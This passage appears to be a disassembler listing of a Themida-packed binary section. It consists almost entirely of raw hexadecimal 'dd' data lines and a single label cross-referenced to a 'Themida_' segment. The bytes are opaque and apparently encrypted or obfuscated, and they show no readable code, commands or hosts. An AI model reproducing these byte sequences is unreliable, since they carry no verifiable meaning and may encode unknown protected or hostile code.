		dd 2D60E78Eh, 3DDE77A6h, 2551FAA8h, 6F9FA08Ah, 7AAA31D8h
		dd 81AD34DBh, 0F29203F1h, 0ADD49A3h, 6BFEC269h,	0A44373DDh
		dd 9B36650Eh, 6A715BF4h, 57E013BCh, 51EA9124h, 93C5C6B0h
		dd 92C46B00h, 0A4D158FFh, 0AEDB6209h, 0B3E1680Fh, 0BD067118h
		dd 4A40B373h, 30D772A1h, 0C452AD97h, 0F78D285Ah, 0F584214Eh
		dd 0EB842BC6h, 2353FA01h, 0F230A18Fh, 0A87B49A3h, 26946007h
		dd 0E49A3F2h, 6B66BB5h,	0A3F2A718h, 1EB9EB49h, 80D9C396h
		dd 19AEC055h, 5687h, 0FC2CEB00h, 8AF4E7Bh, 5B27CE6Fh, 49A3F1F0h
		dd 301ECED4h, 49A3F2BFh, 0F29D0EFCh, 15E849A3h,	75D0BA8Dh
		dd 0BFB025ABh, 12A19AEh, 8E000000h, 0BE65002Ch,	0C56C0B37h
		dd 0CF760F3Eh, 0D57C1548h, 0E0871E4Eh, 2BEB3570h, 0D442CC5Fh
		dd 0D1780DA8h, 4FEA18A1h, 2CA719AEh, 0EA4B7AF9h, 0FBF44754h
		dd 0F1923362h, 0F897C34Ah, 59E7A051h, 0D94A38E8h, 2449A318h
		dd 33666751h, 30630CA2h, 0FDA4AB95h, 0C933ACDh,	0FE9C43DEh
		dd 731C0D1Bh, 6902A944h, 97BF267Fh, 860919AFh, 2D602A02h
		dd 0EB54ED94h, 69F8E596h, 0C2B6A03Bh, 0A4h, 0A0F92C26h
		dd 0EE4E500Eh, 12B95AC9h, 1BC25D8Bh, 79671757h,	49A33F08h
		dd 3B968053h, 751043EDh, 0D98232E0h, 0C93A0EA9h, 649A33Fh
		dd 0A33FA718h, 971FF249h, 0A6D9DAC4h, 0AEDD640Bh, 0B55CF725h
		dd 36D47B1Ch, 0E203C553h, 1819AF70h, 7Ch, 2DBBD40h, 0D3049B3Bh
		dd 0F92C1DE9h, 0B033C168h, 453F34D7h, 0A6A7917Fh, 2AC5F374h
		dd 5543F389h, 49A30EE4h, 59725C2Fh, 0AF60AEE9h,	5947D906h
		dd 49A30DE8h, 18BF6033h, 23C45F91h, 7E053839h, 60D1BF51h
		dd 0AB49A30Dh, 0F79037D8h, 6A13C156h, 0E8B49E37h, 0CF65002Ch
		dd 1D23BD4Ch, 6F4D641h,	49A3CA95h, 826C0DE0h, 0CA2F9D69h
		dd 0BE1749A3h, 0E8676E70h, 17519AEh, 0D9000000h, 0BC63FE2Ch
		dd 0CB720535h, 0D57C1544h, 0FA891C4Eh, 0C0842BCAh, 8A5BE32Dh
		dd 2BDD3CC7h, 0A8F16405h, 0E782B09Eh, 9018952h,	0E50B8573h
		dd 681847A2h, 20F493BFh, 439CB4AFh, 2C263A19h, 0BA42511Ah
		dd 3003FDE7h, 28C3F19Ah, 0E5FEE881h, 48B9A757h,	93439CC0h
		dd 0A5D5D6C0h, 0DECC7C12h, 439CC06Dh, 5EE681B1h, 0F39AA18Bh
		dd 0B17D24C3h, 439CC046h, 6AD4629Dh, 5F069B3Ah,	6AF1982Fh
		dd 5C059B3Ah, 93AC962Fh, 311F29E2h, 27D06601h, 0A6416FF8h
		dd 1EC566FFh, 95949B85h, 1FB5F240h, 12E9Ah, 820AFE00h
		dd 5806F48Ah, 1547A2FAh, 70E0396Ch, 0A263D882h,	0EA832ACBh
		dd 9D330600h, 0B74E8F1Ah, 3620F1F6h, 0CF66961Dh, 0C35E9039h
		dd 9299831Ch, 7E27BBEBh, 74E5B94Ch, 0BF439C87h,	1DA44BECh
		dd 2B35AEDh, 1443EC9Ch,	6539D279h, 439C86F4h, 0E46C0538h
		dd 42CC2711h, 7C11A4D4h, 0B62B587Dh, 36821Fh, 0AE60000h
		dd 0BF98F83h, 49A3F2EAh, 4F1BC295h, 49A3F2DEh, 32E73102h
		dd 1AC15C89h, 0ED749781h, 8BBA63F9h, 9F40D104h,	9EBFADB5h
		dd 4949A3F2h, 9440E176h, 0B6000000h, 0B34E7C25h, 261EA6C9h
		dd 0EE30A290h, 0BA7B47A2h, 0AF48EF8Eh, 29D9670Eh, 9CEECA3Bh
		dd 0B3421543h, 0A63FE681h, 0EC8BBBBCh, 0EA7DAD56h, 0B9C0AA43h
		dd 0AD43E212h, 523CD504h, 0EDB56D39h, 215C439Ch, 5EF92917h
		dd 807800C9h, 1971FCEAh, 1AA4193h, 524C36D1h, 2151D87Fh
		dd 2AD16C98h, 0DD7C6DC9h, 0FB02D66h, 1140C76Eh,	1B4AD178h
		dd 5F4DDB82h, 3D8E4AEEh, 0B3EE6639h, 0ED36A965h, 534BD323h
		dd 0B48A0DBDh, 39319422h, 2EB9FFE9h, 753B84ECh,	0A9B0DA2h
		dd 44F48A82h, 29D06F9Bh, 0D560A690h, 1C479A1Dh,	0DD0AB349h
		dd 16009940h, 0AF4676FDh, 0D84B9619h, 590415FBh, 91C1686Fh
		dd 204FD808h, 0DC3DE485h, 7CBD701Dh, 6F05A6ABh,	95ED1081h
		dd 0E7885B43h, 0CB307440h, 10A329A2h, 4DE81806h, 46E111B8h
		dd 3A68119Fh, 755FF89Fh, 5AC4574h, 0FB64F7Eh, 1AC15C88h
		dd 5CD866AFh, 0A896A0E9h, 2ABDEF78h, 0B449EA83h, 305CDD0Dh
		dd 0CC4DF495h, 8, 97405E42h, 1AE6D067h,	0C36AFB2Ch, 0D2790C3Ch
		dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h
		dd 0AB14C7Ah, 11B85783h, 0FA36867h, 3C890000h, 7E9C6824h
		dd 2C890000h, 24AD6824h, 14890000h, 742B6824h, 2C8B060Eh
		dd 4C48324h, 24148B54h,	4C481h,	0CC680000h, 89000078h
		dd 428F242Ch, 2434FF08h, 4C4835Ah, 5D2434FFh, 0E904C483h
		dd 0FFF9043Fh, 4138D80Bh, 0F6804BABh, 0AE556D4Bh, 0E78FAB8h
		dd 0FFC50306h, 0CB49CAE0h, 5545121Fh, 0F1624D18h, 0DAAAAA61h
		dd 0BFB0C00h, 67ED301Eh, 9589407Ch, 25C33A69h, 0F25BFC4Ch
		dd 0A88A272Ch, 6F7F315Ah, 0FA8D8D2Ah, 23060E79h, 7113185h
		dd 0D98D8906h, 0F906071Ah, 101D85C7h, 5F0C0607h, 0BD8B0000h
		dd 6070A1Dh, 330585C7h,	607h, 0DE810000h, 1162F146h, 1E25B5FFh
		dd 60600607h, 13E9h, 8D54D900h,	0B4AAC5C4h, 0D6196E3h
		dd 99C157DEh, 1A3EF8DCh, 245B58Bh, 8B610607h, 707398Dh
		dd 95FF6106h, 6071859h,	38C8DE81h, 6A479Bh, 0D6995FFh
		dd 0C08B0607h, 0C7FB6FEBh, 2209D788h, 11D220C4h, 0FE7278D2h
		dd 38D0861Ah, 0E9786F89h, 0C55E6934h, 0D30C1BACh, 0CA9BE4E7h
		dd 731876FDh, 68E8E54Eh, 106AA142h, 0C5E3B942h,	8A851Fh
		dd 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 805ECB6h, 0D6A89B52h
		dd 527BE7F0h, 0B2B21FFCh, 62D159C7h, 5BC68FA3h,	488642D7h
		dd 57BE3E34h, 0B9631B21h, 94F7B62h, 1710C54Ah, 0FE8EBh
		dd 0A3D20000h, 8FA095BFh, 0ED6E177Dh, 47E12E6Bh, 9D8D89D0h
		dd 5E06070Fh, 0FE9h, 0C2240200h, 18DDD3h, 27ED122Ah, 4972E558h
		dd 713CC681h, 0D08B0000h, 12E9DB33h, 36000000h,	0A9E23E10h
		dd 7A5BCB45h, 831F93DCh, 397B64A9h, 3334FFD9h, 2F78156h
		dd 5F730840h, 0D68B6659h, 3CE981h, 8D891EAAh, 6073119h
		dd 8FE2C181h, 0C7811238h, 6A04A36Ch, 0B02FC181h, 0BD8B7282h
		dd 60712FDh, 0D08B6651h, 801E048Fh, 95897BEAh, 6070E71h
		dd 6604EB83h, 81925CBFh, 0FF8F64FBh, 0AA850FFFh, 80FFFFFFh
		dd 8D8DA2F4h, 60E7BCEh,	5870Fh,	0F7BB0000h, 891BAAD7h
		dd 71AD98Dh, 0CBB86606h, 1D85C76Ch, 40060710h, 0F000069h
		dd 85C7D1B7h, 6073305h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BBC35646h
		dd 18A99503h, 0B6B60607h, 859B5FFh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C68B35C3h
		dd 185995FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 45FF2BC3h, 6E9C1h, 0FCF20000h, 2026B4BFh
		dd 4959533h, 6A0607h, 0D6995FFh
		db 7
byte_5B438D	db 6, 8Bh, 0C0h		; DATA XREF: Themida_:0053E298o
		dd 6C0069EBh, 626A8BDDh, 128FAF0Eh, 89E71EC0h, 1F4286ECh
		dd 0F0A010B8h, 14257CC1h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h
		dd 21C5254Fh, 6B14A879h, 0D9DAED97h, 57006D8h, 49FD6FF4h
		dd 12E17381h, 946A4D52h, 204E74FFh, 0F8DB9A7Ch,	0B372F737h
		dd 54E26B01h, 0CADD65DCh, 6FC5F36Fh, 8FDB9FC4h,	0EBF6E08Eh
		dd 0EF24752Fh, 8B2E63DAh, 0C0h,	1CAh dup(0)
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 9265C356h, 90A1689Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 98C35141h, 41560839h
		dd 6A9D35D9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0F88C355h, 180h, 0E960F900h, 0Ah
		dd 6E654F07h, 72A61853h, 0BB662A8Ch, 616165A1h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E2C35141h, 21751A97h
		dd 0F5DFD49h, 1C82h, 0B9666000h, 11E91C91h, 0A6000000h
		dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh, 24440161h
		dd 53006A08h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 8D0FAFF9h, 10h, 0A870Fh,	5E90000h, 41000000h
		dd 24E45293h, 5E958h, 0F4D50000h, 9D9CAE3Fh, 52006AC3h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 7379DA8Dh, 9E860D9h,	0DE000000h, 2F158FC8h, 8706B9FFh
		dd 0E959FB8Bh, 12h, 0EB740A46h,	0D19DE545h, 26BEFFFEh
		dd 6153CD9Ah, 6A61C920h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F98BC353h,	58B4C08Bh
		dd 0B7D08166h, 10B966F5h, 0B7E88115h, 0F53D32E2h, 52AAEB80h
		dd 5EDA8B66h, 0AE9h, 0B0387100h, 4D7B182Eh, 0E9B83DF9h
		dd 0Dh,	8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 0D0F7802Bh, 0F88B6653h
		dd 6660F85Fh, 0D181C78Bh, 391D7D39h, 52F8F961h,	8B1DE181h
		dd 575F1F56h, 14E960h, 56BE0000h, 16EBCF6Fh, 0AB17D02Bh
		dd 3384FCD1h, 48D3DF9Dh, 10E9B6DBh, 0DA000000h,	438285E7h
		dd 0CA0D95CAh, 7629243Fh, 61C2C5ECh, 0FE959h, 0BBD70000h
		dd 33B8D88Bh, 0EEF49E71h, 99239E2h, 41C28197h, 531F143Dh
		dd 28C0Fh, 61600000h, 0DFBF0F59h, 0BE8F98Bh, 0F4000000h
		dd 308F3DE6h, 2571688Dh, 81666BB7h, 584002C2h, 8E960F8h
		dd 0D8000000h, 0FE31EB50h, 66B3BC5Fh, 7A62C981h, 0CF8B6661h
		dd 5EE78166h, 11D181A8h, 603BEB3Ch, 92A2F4BFh, 653DBB13h
		dd 66617468h, 5A16E381h, 80CAB70Fh, 81F812C7h, 1B41AECBh
		dd 0DA816665h, 0F60A1D9h, 0AE9FBBFh, 5B000000h,	6E7EBC3Ch
		dd 8FC45F56h, 32B061D1h, 0C2F18166h, 5566B90Bh,	8C0F263Fh
		dd 4, 43BABE66h, 0C78B6657h, 57F5F95Eh,	5E8h, 653D9400h
		dd 81660954h, 5A9632D3h, 820F5Ah, 0E9000000h, 0Ah, 61C90A0Dh
		dd 0DC71413Eh, 8166CF50h, 0F97CC6D1h, 89C28166h, 0D2B70F66h
		dd 8F4074BAh, 3EE08165h, 66312A2Bh, 0F31C6BEh, 14E8FBB7h
		dd 0BA000000h, 1110EFh,	3EA8132Dh, 0BC5402CAh, 0FB707CD6h
		dd 0F362C6Bh, 0D82h, 8E900h, 74900000h,	0CC330579h, 8159EEBCh
		dd 6CB44AE7h, 18A0F11h,	0FC000000h, 13E8D08Ah, 0E9000000h
		dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 0CE816371h
		dd 0E953D59h, 0F5F525Bh, 0CA8AC8B7h, 66BECE80h,	0B539C681h
		dd 0E8FE8B66h, 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h
		dd 66FC59E1h, 0F863F0BEh, 0C5ADDA81h, 0BF0F4B03h, 0C7BF0FD6h
		dd 3EBA6656h, 81665E92h, 0BB7F76CEh, 308881F5h,	0FF3BC681h
		dd 0C6812618h, 6E5FC35Eh, 0DF91E6B8h, 0E3DA816Ah, 0E947AAC6h
		dd 5, 0CF2EF1E1h, 0DE930h, 0E82F0000h, 0D7C69D2h, 0F86A3CBh
		dd 0FD52852h, 0C85h, 6800F00h, 0F000000h, 84h, 22C78000h
		dd 66D68B66h, 531683B8h, 8DF08166h, 8B665931h, 10E9CFh
		dd 0A7CF0000h, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 816642FBh
		dd 815519C8h, 44611EF2h, 0E981664Ch, 0EE98093h,	0F1000000h
		dd 95AE9646h, 5DB84289h, 11F9A9EEh, 0AE960CFh, 0B4000000h
		dd 0A88248D4h, 1894DDF7h, 0D98B6631h, 66566061h, 5AF757BAh
		dd 8E9h, 0EDC16300h, 37113154h,	86B46166h, 7880BA66h, 9E960h
		dd 953D0000h, 967AD5A6h, 613CCF6Ah, 5880F50h, 0B8000000h
		dd 16215382h, 12E95Ah, 38310000h, 0F93E49F0h, 79289608h
		dd 5AB87991h, 7FAD8297h, 0DE8h,	0A32C2600h, 59E76E71h
		dd 6C64FC31h, 5E8A0C1h,	4C000000h, 4EEA6669h, 5BC88B66h
		dd 8E8F55Eh, 0FA000000h, 0DF0735D3h, 811D021Dh,	384164C8h
		dd 8E9587Ah, 30000000h,	0CFFE21h, 0F54957Bh, 789h, 8B666000h
		dd 61B2B7F8h, 0BE92BB1h, 0E0000000h, 27E4738Eh,	7B549E9h
		dd 8E0F4F5Fh, 9, 38A0Fh, 0BF0F0000h, 0DBB70FDBh, 0B3F5E780h
		dd 0FAB96666h, 81F88BE5h, 0B3AE6FEFh, 0B92BB642h, 6803482Bh
		dd 5CE98166h, 48D0FD4h,	66000000h, 66E8ADB8h, 45EDF681h
		dd 14E960B4h, 8F000000h, 1C1BDCC2h, 0D440F28h, 0CF0C5783h
		dd 0B3E738CEh, 0B58E67E4h, 0E8CA8BE2h, 0Fh, 0A3159B65h
		dd 6B673768h, 0E4FD8098h, 60FD7C39h, 0E8DF8B66h, 12h, 6F7AB4Dh
		dd 0CD8588A5h, 0D6586284h, 7016EEE0h, 61590F75h, 66CF8A5Ah
		dd 0A1FDD981h, 38E0F60h, 0F000000h, 0F280C9B7h,	0F480610Ch
		dd 3870F85h, 66000000h,	0E081C38Bh, 46F026F6h, 66CF8B66h
		dd 14E9DA8Bh, 40000000h, 3E03A5A3h, 0B6E9EAF3h,	90EEF2CBh
		dd 251F2509h, 0BFAFB655h, 15BCAA4h, 5E98B652h, 8E8F8h
		dd 3C030000h, 8AC8F384h, 0BF0F1175h, 6E95EFEh, 96000000h
		dd 1681A2B7h, 0F88B6671h, 9810Fh, 8D0F0000h, 3,	0E9F8BF0Fh
		dd 0Eh,	0A5190ABDh, 994116D1h, 3B8FCE5Ch, 69B2BC52h, 6D28166h
		dd 57C480FFh, 0BFF3EC80h, 3D76B0F2h, 860FB8B1h,	3, 8AF6BF0Fh
		dd 0BE51F9D1h, 23E3404Dh, 0AE95Fh, 62080000h, 63AF52F4h
		dd 67E99D6Dh, 0E35B866h, 8B28E280h, 0FE8B66D8h,	0DB814FB7h
		dd 70C7450Ch, 5DDF8166h, 8E881h, 0DD450000h, 0BDFF13EAh
		dd 0AE8D520h, 0F5000000h, 0BB5E2743h, 0BBE64A60h, 5F5850A8h
		dd 0DE85Fh, 77B30000h, 62AA03B1h, 174EF5CEh, 51EB6209h
		dd 0AE9h, 7B0BCB00h, 1045ECF6h,	5A663897h, 0CAB86658h
		dd 0FF5F881h, 0E781C7BFh, 4C9DDF64h, 74C28166h,	12E996h
		dd 0CCDC0000h, 23B35497h, 4349AFF8h, 7BF963DBh,	9598FBCh
		dd 0C3BF0F60h, 66CA8B61h, 0D745DE81h, 10E806B6h, 7A000000h
		dd 0A107E7FCh, 5D4B0675h, 4D43BB4Fh, 609879B1h,	840Fh
		dd 0BF660000h, 5A614EDCh, 1EA81h, 0D5803DA5h, 0CBBF0FC4h
		dd 0F9C78B66h, 0AF00FDBEh, 0E9A6B645h, 0Ah, 4CC9FFFFh
		dd 0A36CDE00h, 8E98631h, 0A3000000h, 0A744D9FEh, 6685C9B6h
		dd 18AECF81h, 0BE8h, 8DB49C00h,	0FDD8B6A4h, 383EA6CCh
		dd 6820Fh, 880F0000h, 0
		dd 8E95Eh, 88230000h, 42DD6DA3h, 830F9644h, 0Ah, 5E9h
		dd 46780600h, 8B661EBFh, 88E0FC3h, 60000000h, 890Fh, 8A610000h
		dd 99BE66E7h, 0D881F54Ah, 53FBB5A9h, 3890Fh, 8B660000h
		dd 2880FF9h, 8A000000h,	0FC18BE1h, 840FCFBFh, 2, 6052FAB3h
		dd 800Fh, 5E610000h, 13E8D1B5h,	9A000000h, 23972F5h, 20FED821h
		dd 0C36B708Ch, 0CAD5F6F2h, 0D2813297h, 7220FFFDh, 60DE8A58h
		dd 61C18B66h, 10E8h, 0D230AE00h, 0FB99A681h, 822A10C2h
		dd 0C7AC91C2h, 2880F63h, 60000000h, 0CB8B5F61h,	0C68B66F8h
		dd 81D1B70Fh, 0F1628F0h, 0B97DB420h, 4A13B7A8h,	8870Fh
		dd 0F560000h, 83h, 0CA8B5900h, 81D18B66h, 2388B6D0h, 820F5773h
		dd 2, 66585950h, 6A90CA81h, 471937BBh, 89C98170h, 0BA4E70B8h
		dd 1618234Fh, 58B0Fh, 81660000h, 60171BD9h, 0AE8h, 0B1465200h
		dd 0D5911DBCh, 0BF961D0Bh, 4AD72C9Ch, 61D88B59h, 0DE8h
		dd 0FA1E5D00h, 0E4226970h, 8A783A34h, 23BE7785h, 5B2E439Eh
		dd 0FABC280h, 11E8DFBFh, 38000000h, 0FBE44775h,	53B45A6Fh
		dd 2417C33Eh, 0B93D0081h, 1573BA66h, 9E48058h, 495DC381h
		dd 81666D08h, 8BDBAED6h, 12E9C1h, 725C0000h, 0D6F8C4BAh
		dd 0E33DB2C0h, 0E0C76369h, 68B3ABA9h, 81E8B6F5h, 8990A2F6h
		dd 0B0CF8075h, 800FD38Bh, 9, 3850Fh, 0ED800000h, 2EBEBB83h
		dd 0F3816ED0h, 1A15D154h, 0D6B70F53h, 8B0FF85Ah, 7, 1830Fh
		dd 8BF90000h, 0DBBF0FC2h, 7E9h,	60C2AB00h, 0B54B3E0Bh
		dd 0DE9h, 0F0824000h, 1DD274F3h, 6F6A3657h, 0C68B1213h
		dd 88C0Fh, 840F0000h, 2, 0D98B6160h, 66EB8166h,	38B0FF8h
		dd 0F000000h, 0FDB6C0B7h, 11E9E38Ah, 73000000h,	0F574BC12h
		dd 0E78B982Ch, 0E55FBDACh, 5063E46Fh, 66F88B66h, 0A1D5E381h
		dd 0FE960h, 0C8720000h,	0FD358133h, 86683C47h, 0F47D9AB6h
		dd 0B830F07h, 0E9000000h, 6, 0F2F65C6h,	0F9612E65h, 0CEBF0F53h
		dd 0BBA2BE59h, 0BF661116h, 6E98137h, 0C9000000h, 0E6FAF6Eh
		dd 92C18152h, 8B192300h, 8C0FF0h, 66000000h, 668235B8h
		dd 0D08BD98Bh, 56CE8166h, 0AF4AB891h, 81660A7Bh, 6674E6D0h
		dd 0D2B5C381h, 0A7E16EBEh, 1880F50h, 0FC000000h, 38D0Fh
		dd 8B660000h, 56DE80D9h, 0F9F88B66h, 26F28166h,	7880FF9h
		dd 0F000000h, 18Dh, 0C880FC00h,	12860FE1h, 0E9000000h
		dd 0Dh,	77DEAD7Bh, 82333372h, 97EF7731h, 0DBBF0FC1h, 66C1B70Fh
		dd 0EBD5F281h, 0A6F08166h, 0DE8FBh, 81600000h, 0B2AFFB24h
		dd 6FB05F22h, 66D32FF9h, 6059F88Bh, 880Fh, 8C0F0000h, 5
		dd 0C9763EBBh, 0F88B6134h, 890FF5h, 66000000h, 8166F18Bh
		dd 814CDEEBh, 954442C7h, 0D18B6651h, 0FC5EBB66h, 66DBB70Fh
		dd 6644E1B8h, 0FF9CCB8h, 10E9F1BFh, 9B000000h, 8DB13963h
		dd 0C23803DFh, 465E381Fh, 8191EEB5h, 0CD94BECFh, 0F3B70F7Ah
		dd 178F0Fh, 0E9560000h,	10h, 0DB4997A7h, 0EF00C301h, 0CDE99386h
		dd 3EC897A0h, 17890F5Eh, 60000000h, 9E8h, 41ACAB00h, 0A14C98D7h
		dd 815BAACCh, 0C53599D1h, 0DE9612Ah, 0
		dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 2870Fh, 0D48A0000h
		dd 0F942DF80h, 20E307BBh, 0F9C18B53h, 61606052h, 0F42FE1BAh
		dd 0F5B6107h, 383h, 1EC18000h, 81F3BF0Fh, 5B6AA5D9h, 178BBF4Dh
		dd 0D18071C0h, 70E780D4h, 80FA8B60h, 666167EAh,	8B5433B8h
		dd 0E811B0C6h, 0Ch, 4BA031D5h, 8424ECE7h, 384AAA9Bh, 5E8ED980h
		dd 5E9h, 70597400h, 0CE988FEh, 0CC000000h, 32B8A180h, 914A1D17h
		dd 0E9DA9DE4h, 8, 61A7D505h, 0D5DC642Ch, 880FC38Ah, 17h
		dd 0DBD78060h, 0CE8h, 0FC967400h, 512DDEE3h, 84AFBDBCh
		dd 666158C4h, 0BDBADE8Bh, 0F4CE835h, 586h, 996ABE00h, 816655C3h
		dd 0B60F07F2h, 2830F91h, 8B000000h, 0CAC281D3h,	66262005h
		dd 0BE66FB8Bh, 0AE9BDC8h, 0CE000000h, 0AE5E1016h, 5B13068Dh
		dd 0C1B70FA2h, 5EF78B57h, 5F525656h, 820F595Eh,	2, 5E883B4h
		dd 4D000000h, 6F0043C0h, 9A8EE281h, 0F95823B0h,	0EE08166h
		dd 66AAB2A7h, 2A38E081h, 0A7B5DBB7h, 8D0FF38Bh,	16h, 11E9h
		dd 0F4346E00h, 0EB9976BCh, 36E16F68h, 70BC2E8Ch, 890F42BBh
		dd 0
		dd 0FDA8B66h, 87h, 8B666000h, 0B1E480F8h, 0EFCF8161h, 0E92CC77Dh
		dd 0Dh,	0D23AF621h, 0D666ADD3h,	2B81D1F6h, 66606045h, 782FF681h
		dd 8D0Fh, 0B8610000h, 6CDDB742h, 0F9B70F61h, 810Fh, 36B10000h
		dd 11E8h, 15DAB100h, 4B70AC4Ch,	0CB8BBC17h, 735290F1h
		dd 58F8C008h, 5CCCBB60h, 11E95D7Dh, 0CE000000h,	0EF570C5Fh
		dd 0C1849AF7h, 4DBC8188h, 833176A4h, 14E961h, 0A8CE0000h
		dd 0D3F9CB93h, 0F1F8C5A2h, 0A4665B07h, 86BFFE91h, 0AE968E3h
		dd 0E0000000h, 78688E87h, 0FB4599C8h, 7CB8662Eh, 0FE8F8BDh
		dd 31000000h, 0F5AD306Fh, 6112566Bh, 4275C5B1h,	0C78B276Ch
		dd 0FF98B5Fh, 8166D3BFh, 818085D3h, 161CBCF1h, 0AAD1807Eh
		dd 0C0AC69BEh, 7E94Bh, 0D78A0000h, 7475FF9Bh, 0D0B70F4Ch
		dd 0FF7BF0Fh, 187h, 5850FC00h, 0B74F2BBFh, 14E843h, 78FB0000h
		dd 0BF3652E5h, 3ECA620Eh, 8EA04EF4h, 0E2990F33h, 8F0F4BAAh
		dd 3, 5ADF8B66h, 78A0Fh, 800F0000h, 1, 0D6B70FF5h, 830Fh
		dd 850F0000h, 0
		dd 80CBB70Fh, 0FE9F9EEh, 8000000h, 8F597D31h, 48635C1Ch
		dd 9017CF4Bh, 8C0F87D8h, 0Dh, 8E9h, 0BE00EC00h,	8A23C21h
		dd 8E899h, 0A4CE0000h, 0ED925579h, 8B6009A7h, 0CF8166CAh
		dd 5B61BD7Eh, 0A545BF66h, 6E9h,	613C0E00h, 0E9E77C3Bh
		dd 7, 0DC77F89Bh, 0B458E5BEh, 0CE9F4h, 80570000h, 6E05E202h
		dd 0FCC26F33h, 8A0F156Fh, 3, 8BC9B70Fh,	13E9FEh, 487E0000h
		dd 0DA4FF69Ch, 0B595A243h, 533B3EFBh, 0EAC41C57h, 0F858B4F4h
		dd 9CC4BA66h, 0C9816660h, 0C181BDDEh, 71831286h, 0B302BE61h
		dd 8B662FB0h, 10E9FAh, 0E3290000h, 60F61735h, 9FA87A3Fh
		dd 47170C9Fh, 0BE66D0F6h, 73BA5AB1h, 6658E3B1h,	81FCA3BEh
		dd 0A387E8F3h, 66FE8B15h, 8C88EB81h, 5840Fh, 81660000h
		dd 0E86A2FEAh, 0Ch, 0D77DCF91h,	0FE9F4124h, 0E847E9BDh
		dd 15860Fh, 10E90000h, 5B000000h, 45FE770Ah, 0D86C1DAh
		dd 1579E43Dh, 5E8D9D69h, 6E9h, 26F16900h, 66E2DC9Bh, 0C980FE8Bh
		dd 0F9BF0F5Ah, 14E9FCh,	270C0000h, 91EFA181h, 30618397h
		dd 0F429A2CFh, 0FEEC4113h, 820F8DECh, 1Dh, 17820Fh, 11E80000h
		dd 0D3000000h, 22A29EF7h, 6D55822Fh, 0E40734AFh, 0B6FFC6BBh
		dd 0BFA2B65Ah, 0E96EA50h, 8323DCB8h, 1D890F36h,	0E8000000h
		dd 11h,	77DB67E7h, 16C32F69h, 17E59733h, 0EC267866h, 8C0F55h
		dd 58000000h, 0E9CAB70Fh, 0Dh, 0F86549B9h, 0B503811h, 1CA13CCEh
		dd 24E2BAEEh, 81665C8Bh, 0B17676C9h, 6BD181EEh,	0BE5F65D3h
		dd 41E5D126h, 5E8h, 0D3C75C00h,	0F98AA870h, 68BB5059h
		dd 590EE70Ah, 9E951h, 5BC90000h, 666A67D0h, 59E94015h
		dd 0AE9h, 5D870500h, 4987B153h,	504CB8EBh, 5850Fh, 35B80000h
		dd 5E5F4218h, 51B260F5h, 0F6130B7h, 684h, 890F00h, 0F000000h
		dd 24BAC0BFh, 53555B34h, 59D0B70Fh, 6A488FB9h, 0BE968h
		dd 0E2450000h, 0BB2C5EDEh, 0E2736CCEh, 0DE960CCh, 0A0000000h
		dd 9CB46D18h, 444528A2h, 59268F03h, 0D9B70F60h,	880Fh
		dd 61610000h, 12E8h, 0E6470700h, 0C109A45Eh, 4444285Bh
		dd 9235220h, 0E9492DC6h, 11h, 0B364691h, 8D8CABC4h, 61211D0Ch
		dd 49258B26h, 0FEB45F59h, 5E8h,	28469B00h, 8D0FAD09h, 10h
		dd 0BE9h, 0E281F600h, 81FC7C02h, 73AE0CA8h, 66A6B35Bh
		dd 8116EABBh, 0C3CA30D6h, 81D98B3Fh, 0F6F4D3E9h, 7258BF19h
		dd 0C6B06527h, 13E9F08Bh, 79000000h, 0E84B532Fh, 1B112D9Eh
		dd 643F0A33h, 42A54081h, 0BF0F04BCh, 0A0B551FAh, 74DA815Ah
		dd 6028B273h, 36D5CE81h, 0BB663B28h, 66618D23h,	60CC58BAh
		dd 6820Fh, 820F0000h, 0
		dd 0C03DE6BEh, 0CE80610Ah, 0CB8B667Eh, 58A0Fh, 81660000h
		dd 0E9C575D7h, 10h, 0B3E57BB0h,	603A8CE2h, 71ACFBD3h, 20DBA241h
		dd 34B4DE8Bh, 0F68157F8h, 0A071F5Ah, 70D4805Eh,	0E9CB8B66h
		dd 7, 50BF78C5h, 60AB2DE8h, 80C0B70Fh, 0E96144C9h, 0Ch
		dd 24297285h, 16A046E3h, 8C77A802h, 0E8CBB70Fh,	0Eh, 667E8499h
		dd 3D4B26A1h, 0B39A6442h, 0E95934A9h, 11h, 580F6CEAh, 0C8CD013Dh
		dd 55B9FCD4h, 0F7AA0652h, 39F3816Fh, 66294E9Dh,	6E88F081h
		dd 0A49BB966h, 10E892B0h, 0E2000000h, 289DD2F4h, 0B33F6F46h
		dd 0FF90D43Ch, 0F9CC110h, 83h, 0E9605A00h, 12h,	201C93CBh
		dd 2BCDE2FAh, 923C71A1h, 75902A2Eh, 81665F2Fh, 61C898F1h
		dd 0F08B66F9h, 48A0Fh, 0B8660000h, 0BE665683h, 81665FE8h
		dd 0FA864F7h, 38Eh, 0C6BF0F00h,	0CF81C38Ah, 5ABD315Eh
		dd 0AD7BBA66h, 14E08166h, 3D04B9E2h, 0B8F87655h, 35EBFD2Eh
		dd 48C0Fh, 0B1500000h, 830F587Fh, 0
		dd 0EE8h, 0EE1D5300h, 24FD4069h, 0D53B6877h, 0B5817C3Dh
